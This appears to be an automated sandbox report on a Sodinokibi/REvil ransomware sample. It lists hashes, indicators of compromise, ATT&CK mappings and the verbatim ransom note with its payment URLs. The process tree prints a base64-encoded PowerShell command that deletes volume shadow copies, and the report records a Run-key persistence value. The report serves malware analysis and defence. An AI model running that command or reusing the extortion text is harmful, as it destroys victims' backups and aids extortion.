sodinokibi | 68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf

General

Target

68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
Size

165KB
MD5

baf8729cc740e48887b1d82292db2d9d
SHA1

be5663be7cbd44f70eb7ddaedbce336e764ea103
SHA256

68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf
SHA512

10af56293b37a2258543c37ec992a287b80083b1a8938294a3aad0fd5bcf4f4f24216c9640ed21da35527b17d6f1f50d1bbbc66eb34e08e4f754d1a237c63f6e

Score

10^/10

sodinokibi persistence ransomware

Malware Config

Extracted

Path

C:\t7a87ihm-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension t7a87ihm. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/4C9404D4A0571469 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/4C9404D4A0571469 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: o7ImipV9wpePyDYxDD0iPYRraw/xsY8z0L4bbaRzwCZVy/aVa6iFLTiV4Ate95g8 P6upWwcUHto4brsFleRyMoN5vFBFYq9xagY7i7NLj6dSUSm6xXTj3EsJlekdMj+s v/AkgRS3dqpc2zMumaXsl1vakzdmxIHxwdI8x/mjwnZqcCv2HAom7HsZ/kv+xlht EKUcdQrkUZ11yP9/f7/rXL+lqJUWyBlh/ZxRSTiahuWhwAr2lng8jWOiNc0QqgDS yLQIya4Mc0JeOju7/kcI9zDbQpq5eU4H93PzaKXr6NMBogyQJbmocko4pAbh5sK3 jbjN/e/jjxBmbV03MbHJJ5fHReXDCbGMneJklTiMtIQ84+VDzi0PKzd0MtGw7Yap raCkBi2261ysPKNxH05cit1btCnCcN7AY2L1xZ2g62JSLmlhyqC4dqLJ1jPDK6u3 pLTzYsBQTemPBJZLlLKvPMSJDKRZKax+GlRHF8k9LHPFUnvn9INuu7tVe3t4nxBT i0IlNJZKLZWCZDWyeCwVebaZ+g6zpv+Cba6uSKkfWPu/kKtVxfb5f51Z8exsqDsk 6i+yaKUrnLJ2ikTHgz6h3WTRlAwcbVTBtWYkAsWQ97/AJe6V5DOWsadhsC9dUQ+8 6eyumXrTD0kdpJubrEQddpuPTQcVuBGftOXQmx7HVe62cy2sbqU+C2KVobL/v4QZ 974baoQM25bKvcYO6ny61ae/eTsFBIh45goRiokn0s5nTDMxrxT2sgmsETme9ga3 yagP+G9zXSBjUvZoDfiHtL7JHC+BDsMcGvO1x78nZNQShruFr+t+Y03PWoWrre/3 XRt9o99+6ndJN83vMFVUpmRgeXfZPGgY/CVPNSnV+O/2Xk1NIJ8hs/cn9oF15ll0 4rXJs4bNxmsiNRvXsKYmZJdkpZymtY1chXKFt21dj8xp/7MOhbjVOhiD32PDvO6G 8qoI8GPS2TQuuNmwLyhqR+hJXHzHpio1qpnkKPHM5aeFhYfKtQh5mXMqsdUUbvMA s2TLgGCJPKSLHV5Few+1EEjPDB/YWRfKGaF0KX8Xjb+rmKQdjDEUuZsDTgrRQGE1 QrKSrEFEir0V1tg7GI0vaxWaiY+yqVtKpZTdv8KbcWKarVt6cU1CBgoRAXWejYSX y5Xy4PC+XG+esX9Hulw= ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/4C9404D4A0571469

http://decryptor.cc/4C9404D4A0571469

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Modifies extensions of user files 7 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\EnableRename.tif => \??\c:\users\admin\pictures\EnableRename.tif.t7a87ihm	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File renamed	C:\Users\Admin\Pictures\FindOptimize.raw => \??\c:\users\admin\pictures\FindOptimize.raw.t7a87ihm	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File renamed	C:\Users\Admin\Pictures\FormatUpdate.raw => \??\c:\users\admin\pictures\FormatUpdate.raw.t7a87ihm	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File renamed	C:\Users\Admin\Pictures\ReadDismount.raw => \??\c:\users\admin\pictures\ReadDismount.raw.t7a87ihm	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File renamed	C:\Users\Admin\Pictures\OutCompare.raw => \??\c:\users\admin\pictures\OutCompare.raw.t7a87ihm	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File renamed	C:\Users\Admin\Pictures\SetClear.raw => \??\c:\users\admin\pictures\SetClear.raw.t7a87ihm	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File renamed	C:\Users\Admin\Pictures\SubmitUninstall.raw => \??\c:\users\admin\pictures\SubmitUninstall.raw.t7a87ihm	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\i7bumVGoL5 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe"	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe

description	ioc	process
File opened (read-only)	\??\E:	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened (read-only)	\??\G:	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened (read-only)	\??\I:	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened (read-only)	\??\L:	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened (read-only)	\??\M:	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened (read-only)	\??\Q:	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened (read-only)	\??\S:	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened (read-only)	\??\Z:	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened (read-only)	\??\D:	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened (read-only)	\??\B:	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened (read-only)	\??\N:	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened (read-only)	\??\P:	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened (read-only)	\??\V:	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened (read-only)	\??\Y:	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened (read-only)	\??\F:	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened (read-only)	\??\H:	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened (read-only)	\??\K:	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened (read-only)	\??\U:	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened (read-only)	\??\W:	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened (read-only)	\??\X:	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened (read-only)	\??\A:	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened (read-only)	\??\J:	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened (read-only)	\??\O:	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened (read-only)	\??\R:	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened (read-only)	\??\T:	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\fa8dvv.bmp"	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe

Drops file in Program Files directory 35 IoCs

Processes:

68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe

description	ioc	process
File opened for modification	\??\c:\program files\ShowDeny.jpg	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened for modification	\??\c:\program files\BackupStop.wmx	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened for modification	\??\c:\program files\GroupSync.mp4	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened for modification	\??\c:\program files\LockConvert.jpeg	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened for modification	\??\c:\program files\NewUnblock.dwfx	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened for modification	\??\c:\program files\ConvertToMeasure.contact	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened for modification	\??\c:\program files\ExpandUse.MTS	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened for modification	\??\c:\program files\OpenRemove.pptm	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened for modification	\??\c:\program files\StopProtect.reg	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened for modification	\??\c:\program files\ConvertToOptimize.vsx	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened for modification	\??\c:\program files\DisableDismount.gif	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened for modification	\??\c:\program files\DisconnectUndo.mov	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened for modification	\??\c:\program files\LimitSave.vssx	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened for modification	\??\c:\program files\ResolveRepair.3gp	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened for modification	\??\c:\program files\SplitConvertFrom.mpeg	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened for modification	\??\c:\program files\CompleteShow.rm	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened for modification	\??\c:\program files\DisconnectTest.mpp	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened for modification	\??\c:\program files\ExitMeasure.M2V	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened for modification	\??\c:\program files\SaveMount.TS	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened for modification	\??\c:\program files\StepComplete.rle	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File created	\??\c:\program files\t7a87ihm-readme.txt	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File created	\??\c:\program files (x86)\t7a87ihm-readme.txt	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened for modification	\??\c:\program files\DebugPop.jtx	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened for modification	\??\c:\program files\SaveSet.wdp	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened for modification	\??\c:\program files\SetProtect.zip	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened for modification	\??\c:\program files\UnlockUnprotect.ogg	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened for modification	\??\c:\program files\SubmitFind.TS	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened for modification	\??\c:\program files\UseApprove.rtf	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened for modification	\??\c:\program files\ExpandRequest.ttf	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened for modification	\??\c:\program files\ExpandWrite.jfif	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened for modification	\??\c:\program files\ReceiveWait.ps1xml	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened for modification	\??\c:\program files\RegisterEnable.TS	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened for modification	\??\c:\program files\ResolveRename.rtf	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened for modification	\??\c:\program files\ShowSelect.midi	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
File opened for modification	\??\c:\program files\WaitUndo.vsw	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exepowershell.exe

pid	process
4592	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
4592	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
3760	powershell.exe
3760	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	4592	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
Token: SeDebugPrivilege	3760	powershell.exe
Token: SeBackupPrivilege	1736	vssvc.exe
Token: SeRestorePrivilege	1736	vssvc.exe
Token: SeAuditPrivilege	1736	vssvc.exe

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe

description	pid	process	target process
PID 4592 wrote to memory of 3760	4592	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe	powershell.exe
PID 4592 wrote to memory of 3760	4592	68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe
"C:\Users\Admin\AppData\Local\Temp\68cace785ac03c96a1ddadf2d542167959fc322e5246b43df825d9331c0350cf.exe"
1⤵
- Modifies extensions of user files
- Adds Run key to start application
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4592

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3760

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:1972

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1736

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

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Downloads

memory/3760-130-0x0000000000000000-mapping.dmp

Download
memory/3760-131-0x0000021B94FD0000-0x0000021B94FF2000-memory.dmp

Filesize
136KB

Download
memory/3760-132-0x00007FF9DF4D0000-0x00007FF9DFF91000-memory.dmp

Filesize
10.8MB

Download
memory/3760-133-0x00007FF9DF4D0000-0x00007FF9DFF91000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads